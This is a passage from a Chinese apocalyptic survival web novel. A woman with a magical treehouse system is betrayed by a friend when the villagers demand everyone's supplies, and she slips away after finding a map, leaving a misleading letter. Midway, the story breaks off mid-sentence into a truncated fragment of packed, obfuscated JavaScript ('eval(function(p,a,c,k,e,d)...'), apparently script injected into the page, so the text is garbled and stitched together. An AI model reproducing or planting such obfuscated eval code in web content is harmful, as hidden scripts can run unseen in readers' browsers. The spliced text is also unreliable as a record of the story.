“可是，可是……” 陶诗琪两手相互搓着，看向周宏，希望他能帮忙说句好话。 但周宏不会这么做，如果他帮陶诗琪说好话，让她留了下来，那刚才被劝走的几户人肯定要闹的。 “哎，这也太少了，我也条件差，我还拿了不少东西呢，”赵晓秀从李晓辉身后探出个头，一脸嫌弃，“你爷爷还有病，在吃药吧？不知道周艺家药店里的药能供他吃多久。” “不，不是这样的……”陶诗琪嗫嚅着。 “让她们走吧，虽然她们很可怜，但留下她们，就像李哥说的那样，只会增加我们生存压力。” “是啊是啊，就连那几家外村人都交了不少物资，咱们说好一视同仁的。” 周宏叹了口气：“诗琦，大伙说什么你也听见了，你家能拿的物资实在太少了，如果把你们留下，其他人能分得的物资就会变少。” “不，村长，”陶诗琦拽住他的衣摆，声音发颤，“我们可以不分村里的物资，只求你们别赶我和爷爷走。” 李晓辉在旁边椅子上坐下，“你以为不分物资就没占用村里资源了？” “做饭烤火用的柴禾、井里的水，哪样不是有限的公共资源，如果你都交不出物资，又凭什么拿这些东西去使用？” 他站起来，俯视着陶诗琦：“行了别废话了，最多两天时间，带着你爷爷搬出去。” “李哥、大伙，”陶诗琦扑通一下跪了下来，“别赶我们走，我、我……” 她眼神乱飘，想到发烧后还没好全的爷爷，眼泪都急出来了。 思绪一卡顿，她忽然想起了穆叶。 “对对，还有穆叶！穆叶有不少物资，我和她关系好，我找她借了给村里补上行吗？李哥、村长，求求别赶我们走！！” 周宏看着李晓辉，对方哼哼道：“找她借？她的物资都要上交村里，拿什么借你？” “不，是……不……” “穆叶她、她只有一个人，她有很多物资，有泡面，有草莓、有许多药，她还有钱……” 陶诗琦双眼通红，恳求地看着李晓辉：“李哥，我找她借点，加上我家有的，这些就算我们三个人的，行吗？” 28. 第 27 章 【树屋已升至二级，详细信息宿主可在终端中查看。】 穆叶早上醒来后，就收到了米克的提示。 她坐在餐桌前等饭，拿起终端查看【基础信息】，猛地发现，除了树屋面积增加了2平米以外，根本没有其他变化。 这不对吧。 “米克，出bug了。” 【宿主，系统正常运转中，没有bug。】 “不可能，我……” 穆叶忽然意识到什么，倒吸一口气，“我辛苦攒的5000点，升级的该不会是这鸡肋的2平米吧？” 【是这样的。如果宿主想获得更多功能，请继续努力赚文明点，升级树屋。】 穆叶视线下移：“下次升级要10000点？你怎么不去抢！” 【宿主，已经很良心了，每次升级需要的文明点都是上一次的两倍，这是系统经过合理计算、确定宿主努努力能达成的。】 “那你有把升级良田那3000点算进去吗？” 【……】 “又升级树屋，又升级良田，你知道我要多努力吗？奸商！” 【咳，这个我们之后再聊，现在先选择一下要把这2平米加在哪里吧！】 终端上出现二楼的平面图纸，有个切换标志，可以换到其他楼层。 穆叶惊讶于每层楼的2平米，可以自己选择添加在不同位置，于是分别在地下室工具房、一楼卫生间和二楼洗衣房各增加2平米。 虽说2平米实在鸡肋，人站在2平米的格子间会觉得无比拥挤。 但是对于已经无比拥挤的卫生间，这2平米能让她今晚洗漱的时候，不用担心一转身撞在马桶上。 “对了米克，我想修改一下楼梯样式。” 【当然……可以。】 树屋变成“布局调整中”模式，无数白线浮在墙和地板表面。 穆叶眼前的虚拟面板上出现了三种楼梯的样式，但没有一种样式，和现在卫生间的设计是匹配的。 她选中一个，打算先把楼梯换了，再修改卫生间外墙。 却发现想实现这个改动，得交1200点的布局调整费。 “怎么哪都要花钱，谁给你设计的系统啊米克，你要那么多文明点有什么用？” 【修改布局可不是简单的移动家具位置，这个费用是非常合理的，而且宿主别忘了，系统已经给过一次免费的机会了。】 “我就换个楼梯！” 【……没钱就算了，宿主还是努力攒文明点吧，升到三级，有一次布局调整的机会。】 “会有这种好事？” 【当然，系统设计可是非常科学的。】 …… 早餐周羽萍煎了30个洋葱羊肉饺子，临出锅前，往锅底倒了一层淀粉水。 盖上盖子一焖，拿盘子倒扣盛出来，就是和外面卖的一样的，有黄金脆底的煎饺。 穆叶吃了16个，感觉自己从头到脚，浸满了香香的羊肉味。 吃过饭后，她坐在沙发上散了会儿味道。 等到时间差不多，她把鞋子穿上，又围上围巾，戴上帽子和口罩，防护严密到熟人都认不出来的程度，才离开树屋，来到真实的世界。 今天气温没变，-18度，但是雪比昨天更大更白净些，飘落的样子像是有些重量的珍珠棉。 天还不算大亮，透着灰蓝色的光，院子里的越野车上落满了厚厚的雪。 穆叶下楼，拿扫把将车衣上的雪扫下来。 收起车衣后，她发动车子提前加热着，又下车从空间里取出防滑链，给四个车轮装上。 今天她要去找云山的地图，再看情况买点私人小店的物资。 想好第一站目的地后，她锁上院门开车走了，又一次和来通知准备物资的周志合擦肩而过。 - 奔波了一天，天黑后，穆叶才带着挫败感，开车往小尧村回去。 她买到了不少东西。 比如没人要的20kg大蒜。 虽说大蒜能驱寒，但是现在大部分人买物资的重心是高热量管饱的食物，买它的中年女人本来是打算做泡菜的，现在只能打包卖给穆叶。 又比如小超市老板贱卖的洗衣液、洗洁精、十三香一类的调味品等。 灾难到来前，这些是周边居民最常购买的东西，现在一桶桶冻起来，调味品也用不上了，想卖都卖不出去。 还有冻硬的润滑脂、打气泵、千斤顶、大小型号的不锈钢盆、碎木炭、胶皮、不锈钢沥水篮、尼龙绳、防水塑料布…… 但是最关键的云山市地图没找到！ 她跑了县图书馆和几家大型书店，倒塌破损的建筑之下，纸作为易燃物，早就被附近的幸存者收集起来，拿去点火取暖了。 在一家还算完好的书城里，倒是还留存着大量书籍，但捡书烧火的人也不少。 穆叶想到“文明树”中社会文明的分支，于是在找地图的过程中，搜罗了一些不同国家的历史传记放在走道上，准备带回去扫描看看。 谁成想，从深处的书架折返回来时，她整理好的书就被一个来捡书的男孩抱走了。 她穿得厚，动作并不灵活，懒得跑，只能自认倒霉，转头重新找了一套。 不过，折腾这一趟，并不是毫无收获。 穆叶把车停在路边，从空间里拿出一本叫《丹泉游记》的小书。 这本书里介绍了丹泉这个地方的地貌、景点、美食、特产等等，里面就有丹泉的地图。 至于和云山的关系——丹泉是个市，就在云山旁边。 丹泉到云山不到100km，庆阳到云山1000km多，100km和1000km选哪个谁都分得清。 所以这是她的保底。 她定下的最后期限是明天，如果明天还是没有找到云山的地图，明晚她们就会去丹泉。 穆叶又翻开旅游书看了眼，向米克确定了这地图能用，才心满意足地收回空间，继续开车。 从村口八角亭转进巷子时，路边停着几辆没见过的车，原本就狭窄的道路，变得更难通过了。 穆叶小心翼翼地开过去，一直把车开到自家门前。 她下车，从包里掏出钥匙，把院门上的铁锁和铁链打开。 转角处忽然跑出来一个举着火把的人，高声问道：“穆叶？是穆叶吗？” 穆叶正弯腰弄门上的插销，下意识回头答应了一声。 那人听到答案后，朝着另一个方向喊道，“李哥，主任，穆叶回来了。” 没多久，就看见浩浩荡荡一群人，举着七八只火把，从转角走出来。 穆叶有种不好的预感，把插销插回去，回头看了眼楼上的窗户，走出院门外。 等那群人走近了，她才看清，几乎村里所有人都在这了，周家蓉兄妹、周颖心、赵晓秀、陈秀眉等等。 “主任，这是……” 周宏咳嗽一声，声音有些哑：“我说了一天话了，就让志合告诉你吧。” 周志合站出来，把村内的新规定说了说——要留在村里，必须上交所有食水、资金、药品，由村里统一分配使用。 本来他早上就来通知了，没想到穆叶出了门，只能让人随时留意她家的情况。 一整天，他就跟着李晓辉和周宏，挨家挨户收缴物资，交不出来的当场告知对方搬走。 新村民们都想看看新规定是否公平，于是交了物资后，自发地跟在李晓辉几人后面，就集结成了这么大一群人。 周志合言简意赅：“听说你家有不少物资。” “听说？”穆叶露在外面的双眼微微眯了起来，“听谁说的？” “是陶……”周志合忽然转头，朝着人群后面招手，“来，诗琦，是你说穆叶有不少物资，你不是还要找她借点吗？自己来和她讲吧！” 穆叶顺着他指的方向看过去，背上忽然出了一阵汗。 陶诗琦从后排走上来。 她抬头对上穆叶的眼睛，那双眼睛好像两个小小的黑洞，要把周围一切火光吸进去。 她的脚步不由顿了下，下一秒迈开步子，快速走到穆叶身边，伸出冻僵的手，勾住她冰凉的衣袖。 陶诗琪看了她的脸一眼，飞快移走视线：“穆叶，村里现在统一交物资，交不上就得走，但是我家的情况你也知道。” “之前你借过我钱，我们也是从小玩到大的关系，我就想着把我们的物资并一起，算三个人的份，这样你也可以留在村子，和大家一起互相照应。” “……我和爷爷的那部分，算我找你借的，等灾难过去了，连着之前的钱，我一道还给你。” 陶诗琪抬眼观察她的眼神：“行吗？” 穆叶哪还不明白发生了什么，简单说，就是她被陶诗琪卖了。 原来人真的不能有一点好心。 原来做好事不会得到好报。 原来看似真诚积极的人，算计起别人时，也能毫不留情。 缩在袖子里的手握成拳，穆叶努力地保持平静。 她想，还好她戴着口罩，不然真不知道自己会露出什么表情。 等了片刻，陶诗琪才听见穆叶说：“怎么不行，你这想法挺好的。” “谢谢你，穆叶！” 她大喜过望，环抱住穆叶。 能和爷爷留在村里的激动，让她忽略了穆叶身体的僵硬和别扭。 忍了几秒，穆叶轻轻推开她，看向李晓辉。 她看出来了，这人已经取代周宏，成为了村里真正的话事人。 “上交物资没问题，不过今天也很晚了，家里东西杂，不如我整理整理，明天一早你们再派人来拿吧？” 李晓辉凑近车窗，想看看里面有什么东西，但什么都没看见。 他直起身，仰着下巴态度随意地点了两下头，“那你就收拾好，明早交上来。” “对了，”他指指车轮上的防滑链，“你的车村里也征用了，明天去超市采购，你开车拉四个人。” “没问题。”穆叶满口答应。 围观人群在周宏“散了散了”的吆喝声里，纷纷离开各回各家。 陶诗琪拉起穆叶戴着手套的手，“真的谢谢你，没有你，我真不知道该怎么办。” 穆叶抽出手来，“嗯，你也回家吧。” 陶诗琪敏锐地察觉她语气有些冷淡，试探地问：“穆叶，你怎么了？” “没有，外面冷，我要回家了，你也回去吧。” 最后，陶诗琪也离开了。 一阵冷风吹过，濡湿的衣领传来比现实更直接的寒冷。 穆叶回过神来，迅速把车开进院子，下车进房子里，一路直冲二楼，把路过要带去云山的东西全部收进空间。 “砰”。 她推开传送门，把正在做菜的周羽萍吓了一跳。 “奶奶，吃完饭我们就收拾东西，今晚我们就走。” 周羽萍在围裙上擦了擦手，惊喜地问：“你找到云山的地图了？” “没有，”穆叶摇头，“只找到丹泉的地图，但是这儿已经不能待了。” “怎么了？” 穆叶把刚刚发生的事讲了一遍。 原本这些可以不说的，但上楼的时候，她想到末世环境下，叵测的人心比恶劣的自然环境更可怕，她一个人千防万防，不如让家人都提高危机意识，所以还是告诉了奶奶。 周羽萍气得咬牙，反复拍打着桌面：“可恶！太可恶了！就不应该管她，就该让她家自生自灭的。” 穆叶走过去拉起她的手，目光落在锅里翻滚的白菜汤上。 “放心吧，奶奶，她给我上一课，我也会给她上一课的。” - 凌晨三点半，夜深人静，每个人都进入了深睡阶段。 穆叶翻身从床上坐起来，穿上衣服裤子。 听见动静，周羽萍半梦半醒睁开眼，看见穆叶在整理衣服，担忧地嘱咐她：“小叶子，你出门要小心，找不到云山的地图就回来。” “我知道，”穆叶拿出《丹泉游记》晃晃，“能到丹泉的已经很不错了，我只是想再碰碰运气。” 她下楼，路过良田时停下看了眼，发现种植的绿圈马上就满了。 “米克，这些菜还要多久能成熟？” 【大概三小时。】 “足够了。” 穆叶点头，拿上餐桌上放的钥匙，摸黑出门，悄悄坐进车里点火启动，先离开这。 出了村后，她找了处路边停下车，拿出平板看地图。 白天去了县图书馆和几家大型书店，并没找到云山的地图，但庆阳还有许多小书店，她标记了几家离陨石坑较远的，如果里面的书没被大量捡走当柴烧，她应该能找到想要的东西吧。 …… 凌晨五点四十分，她来到城西边的“真实书店”。 前面三家店都一无所获，主要是小书店空间小，藏书都有不同的侧重点。 穆叶进去翻半天才发现，第一家80%都是名人传记，第二家80%是外国名著，第三家基本是法律、管理、经济类的专业书。 她随手收了一些，但这都不是她最想要的。 穆叶抬头看着面前蓝色门头上的四个大字，“真实书店”。 玻璃门是破碎的状态，也没什么阻拦的告示牌，台阶上散落着一些纸张，看上去已经有许多人来过了。 穆叶从包里摸出手电筒打开，慢慢走进书店。 书店里，中间的四个展示台上放的书都被拿走了，只留下写着“青春文学”、“侦探系列”的泡沫牌子。 几个毛绒玩偶掉落在展示台下，看上去被人踩了好几脚，脏脏的。 但放眼看更深处的书架上，还留存着较多的书。 穆叶想想就明白了，毕竟纸易燃，但不经烧，远不如去倒塌的房屋废墟里，捡点木头家具的碎片好用。 她在一楼转了一圈，发现这家书店虽然规模小，但各种题材的书都有一些。 于是她来到放地理书的区域，顺着书架开始找，只可惜二十分钟过去，还是没找到。 穆叶看了眼手机时间，心里难免着急，随便揣上几本地理书后，直接冲往二楼。 她没想到二楼有人。 刚走过楼梯转拐处，就看见二楼墙壁和房顶上有火光，两个壮硕的人影在火光里摇晃。 下一秒，穆叶就听见一道细弱的声音。 “爸爸！妈妈！有人来了！” 穆叶知道自己被发现了，于是迈步走上去，这才看见那两道壮硕人影的主人——原来是两个穿得像球的小女孩。 她们一人端着一本漫画书，坐在火堆边，火上架着一个铁架子，正烧着一壶水。 她俩的爸妈从里面冲出来，紧张地看着穆叶，手里提着盏蜡烛提灯。 穆叶举起双手：“别紧张，我没有恶意，我是来找书的。” “你找什么书？”男人肃声问。 “各地的旅游书。” 男人指了一个方向，“在那边，你过去。” 夫妻俩一副防御姿态，挪动到两个小孩前，把她们护在身后，穆叶没有多问，转身朝男人指的方向过去。 他没骗她，旅游书确实在这个区域，整整三个书架上全是。 此外，还额外有一整个书架的旅游杂志。 穆叶看了眼时间，继续找地图。 她找得入神，身后忽然传来碎碎的脚步声，回头看，是那两个小女孩。 她被吓了一跳，那两个小女孩也是。 高一些的女孩拍着胸口：“姐姐，你在找什么啊？” 穆叶没回答，只是反问：“你爸爸妈妈呢？” “爸爸妈妈在放东西——” “——妹妹！妈妈说了不能讲的。” 穆叶对别人的事不感兴趣，耸耸肩继续做自己的事。 高一些的女孩捂着妹妹的嘴巴，看穆叶没什么反应，于是松开手继续问她：“姐姐，你在找什么？我们可以帮你。” 穆叶看着书脊上的字，没回头：“帮我找书？你俩识字吗？” 女孩“蹬蹬蹬”跑到穆叶跟前：“当然啦，我五年级，妹妹三年级，我们会写不少字呢！而且这是我家的书店，我知道东西放在哪。” “你家的书店？”穆叶惊了，仔细打量两个女孩，“你们不回家，住在书店里？” 女孩的妹妹也跑过来，摇着手说：“家里住着大伯和小姨，爸爸说我们不回那个家了。” 只听这句话，穆叶就能脑补出一个人性小故事。 她又看了眼时间，对两个小女孩说：“这样吧，你们帮姐姐找本书，找到有奖励。” 生存的压力压在每个人心上，虽然天气寒冷，但没人敢睡懒觉。 半小时后，估计就有人起床了，直到全村人集结来收物资，满打满算，穆叶只剩一个小时。 因此她选择求助两个女孩。 虽然不清楚女孩们认字的程度，但万幸“云山”这两个字长得非常简单。 穆叶把地图的样式给姐妹两看看， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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妹妹想跟去，但手里拿着姐姐递来的手电筒，犹豫不知道能不能走。 穆叶抽走手电筒，从包里摸出一个橙子味面包塞在她手里，轻轻拍了她一下：“这是书费，你也跟着姐姐去问妈妈吧。” “嗯。”小女孩重重点头，抱着面包跑了。 两姐妹走远，穆叶把地图一收，快步走出书架区，从楼梯下到一楼。 耳边传来楼上女人的声音，“不是让你俩别乱跑吗？这是谁给你们的！” 穆叶笑笑，走出书店，上车离开了这里。 气温悄悄下降了一度，天还是黑的。 她把车开到一个地下停车场里，下车，试图把车收进空间，直接传送回树屋。 但是没有成功，随身空间放了太多东西，剩余容量只剩37%。 穆叶来不及细分，把能锁定到的东西，单向转移到树屋里，终于腾出放车的空间。 回到树屋，周羽萍被刚转移进来的东西围堵在沙发上。 穆叶把她解救出来，拿出《云山旅游指南》递给她。 周羽萍原本因为凭空出现的物资感到震惊，现在立刻抽离，激动地拉着穆叶的手：“那、那咱们就能去云山了？” 穆叶点头，“对，但在这，我还有最后一件事要做。” 她嘱咐奶奶收菜，自己走出树屋，拿了把铲子出门。 约莫一刻钟后，她又传送回来了。 周羽萍把小白菜和生菜拔出来，整理分堆放好，看着她拿的铲子上沾了点泥土，问她去做什么了。 穆叶眨眨眼：“反正不算坏事。” 她拿起餐桌上昨晚写好的信，放在房子一楼的茶几上，小跑回来。 “走吧奶奶，我们去找爸妈。” 她打开云山地图，指了指左下角，“迁移到这儿吧，米克。” 【好的宿主，开始读取地图……开始匹配迁移地点……开始迁移……】 - 天亮了，陶诗琦卧室的窗户被糊满了雪。 她穿好衣服，去看了看爷爷的情况。 感觉肚子里空空的，她找出没上交的半包红薯干，拿出两片含在嘴里，红薯干像是冻了几年那么硬，硌着上牙膛，但随着慢慢变软，浸出一丝丝甜味。 她给爷爷煮了一小碗面条，等爷爷吃好后，她才穿上鞋往穆叶家去。 到门口时，铁门外已经围了不少人，一个村委会的人正在狂敲大门。 “穆叶，穆叶！我们来收物资，你把门开开！” 没人应门，周宏和李晓辉商量，是不是先去别家，一会儿再来。 赵晓秀抱着手，猫腰从门缝往里看，“哎呦，穆叶的车不见了，她该不会是跑路了吧？” “什么？” 周志合挤走赵晓秀，一看院子里果然空空荡荡。 “真的不见了！” 他一边说一边推门，没想到里面的铁链没上锁，啪嗒滑落在地上。 李晓辉回头，精准地看了眼陶诗琦，回头对敞开的铁门扬起下巴：“进去看看。” 一群人涌进不算大的院子里。 陶诗琦大脑像是被冻住了一样，根本无法思考现在是什么情况。 来到入户门前，门上着锁。 从窗户的窗帘缝隙往里看，只见里面昏暗无比，根本不见人影。 周宏让看看有没有什么办法把门打开，李晓辉抱手看了会儿，忽然拿过旁边人手里的木棍，对着窗玻璃猛砸几下。 “费那个劲，这不就开了。” 他让周志合翻窗进去开门，周志合照做。 门从里面打开的时候，陶诗琦挤开前面的人，第一个冲进房子里。 来借药那晚看见的温馨场景不复存在，一切只剩冰冷。 鞋柜里的鞋没了、沙发上的抱枕没了，厨房里的锅碗瓢盆、瓶瓶罐罐的调料没了，就连电视机上的防尘帕都没了。 一些人冲上二楼，没多久又冲下来。 他们高喊：“人没了，除了家具电器，其他都搬空了！” 李晓辉皱眉，目光看向茶几上唯一放着的折叠的纸。 他走过去拿起来展开，一目三行看完后，转身打量陶诗琦，语气不算好。 “你自己来看吧。” 赵晓秀“啧啧”两声，推了陶诗琦一把：“你完了，人家不管你了。” 血液逆流进大脑，陶诗琦这一刻都忘记要怎么抬腿走路了。 李晓辉不耐烦地把纸塞进她手里，陶诗琦双手紧紧捏住这封“信”，强迫自己阅读上面的文字。 “是我。我无意和村里人分享不多的物资，所以我决定离开。但你不一样，我们关系不错，我给你留了点食物和药，不方便直接给你，就藏在你家墙下了，记得去拿。照顾好自己，不用挂念我，我很好。——MY” 陶诗琦放下手里的信，大脑还在飞速转动思考，就听见李晓辉冷笑了一声。 “周志合，带路，去她家找物资。” 人群潮水一样飞速退去，陶诗琦却像脚被粘住了，停在原地看着他们离开，想阻拦也喊不出话来。 又过了会儿，她才拔腿追上去。 她去拦李晓辉：“不是的，她肯定没给过我东西，其实我们关系只是一般，她——” “——别废话了，有没有让大家找找就知道。” 李晓辉抬手把陶诗琦掀翻在地上，头也不回地往前走。 周家蓉想扶她，被哥哥拉着袖子拽走了，最后是周颖心把她扶了起来。 所有人出现在陶诗琦家的小院子里，沿着院墙和房子的墙角检查一遍，确实发现了泥土翻动的痕迹。 “这肯定有东西埋在下面，”一个男人站出来笃定地说，“其实我早起烧水的时候，看见穆叶提着铲子从这往家走了。” 李晓辉挥手：“那就挖！” “等等，你们等一下！”陶诗琦大喊着。 她爷爷听见院子里的动静，走出家门，扶着墙抖得跟筛子一样。 “小琦，这是怎么了……” “爷爷！” 最终，院墙和房子脚下的泥土全被翻了个遍，根本没有什么穆叶留下的物资。 反倒是陶诗琦早上煮完，放在厨房没收好的面条，隔着窗子被看见了。 李晓辉把剩下的面条、红薯干、冻白萝卜和100块现金扔进收物资的袋子里。 “哼，这么点物资都有藏私的，看来主动交不行，还得全村再搜一遍。” 他挥手带着村委会的人，要从头把每家搜一遍。 其他村民来不及骂陶诗琦害人，想起自留的那点物资，都匆匆走了。 陶诗琦扶着爷爷，无助地看着满院混乱。 一个晚上，怎么能把家里搬得那么干净？ 穆叶、穆叶到底去哪了！？